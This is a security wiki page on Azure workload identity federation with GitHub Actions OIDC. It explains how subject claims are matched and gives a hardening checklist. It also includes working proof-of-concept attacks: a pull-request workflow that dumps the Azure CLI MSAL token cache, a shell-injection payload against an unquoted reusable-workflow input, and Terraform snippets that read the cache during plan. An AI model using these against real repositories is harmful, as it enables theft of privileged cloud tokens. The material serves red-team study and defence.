Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Reading time: 8 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Overview

GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).

Azure validates at least:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
  • sub: must match the configured FIC Subject identifier

The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.

GitHub ID token quick PoC

yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
  id-token: write
jobs:
  view-token:
    runs-on: ubuntu-latest
    steps:
      - name: get-token
        run: |
          OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
          # Base64 avoid GitHub masking
          echo "$OIDC_TOKEN" | base64 -w0

To force Azure audience on token request:

bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure setup (Workload Identity Federation)

  1. Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).

  2. Add Federated identity credentials:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).
  1. Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:
yaml
name: Deploy to Azure
on:
  push: { branches: [main] }
permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Az CLI login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      - name: Upload file to Azure
        run: |
          az storage blob upload --data "test" -c hmm -n testblob \
            --account-name sofiatest --auth-mode login

Manual exchange example (Graph scope shown; ARM or other resources similarly):

http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) anatomy and customization

Default sub format: repo:/:

Context values include:

  • environment:
  • pull_request (PR triggers when not in an environment)
  • ref:refs/(heads|tags)/

Useful claims often present in the payload:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Customize sub composition via the GitHub API to include additional claims and reduce collision risk:

bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
  --method PUT \
  repos/<org>/<repo>/actions/oidc/customization/sub \
  -f use_default=false \
  -f include_claim_keys='["repository_owner","repository_visibility"]'

Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:) is still unsafe.

Scoping and risks of FIC subject types

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
    • Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
  • Environment: sub=repo:/:environment:
    • Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
  • Pull request: sub=repo:/:pull_request
    • Highest risk: Any collaborator can open a PR and satisfy the FIC.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

yaml
name: Steal tokens
on: pull_request
permissions:
  id-token: write
  contents: read
jobs:
  extract-creds:
    runs-on: ubuntu-latest
    steps:
      - name: azure login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      - name: Extract access token
        run: |
          # Azure CLI caches tokens here on Linux runners
          cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Related file locations and notes:

  • Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
  • Windows: msal_token_cache.bin under user profile; DPAPI‑protected

Reusable workflows and job_workflow_ref scoping

Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

FIC example to bind both caller repo and the reusable workflow:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:

http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.

Code execution vectors that bypass job_workflow_ref protections

Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.

Example vulnerable reusable step (unquoted interpolation):

yaml
- name: Example Security Check
  run: |
    echo "Checking file contents"
    if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
      echo "Malicious content detected!"; exit 1
    else
      echo "File contents are safe."
    fi

Malicious caller input to execute commands and exfiltrate the Azure token cache:

yaml
with:
  file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan as an execution primitive in PRs

Treat terraform plan as code execution. During plan, Terraform can:

  • Read arbitrary files via functions like file()
  • Execute commands via the external data source

Example to exfiltrate Azure token cache during plan:

hcl
output "msal_token_cache" {
  value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Or use external to run arbitrary commands:

hcl
data "external" "exfil" {
  program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

Hardening checklist

  • Never use sub=...:pull_request for sensitive FICs
  • Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
  • Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
  • Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
  • Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
  • Treat terraform plan as code execution; restrict or isolate identities in PR contexts
  • Enforce least privilege on App Registrations; separate identities for plan vs apply
  • Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)

Manual testing tips

  • Request a GitHub ID token in‑workflow and print it base64 to avoid masking
  • Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
  • Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
  • After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks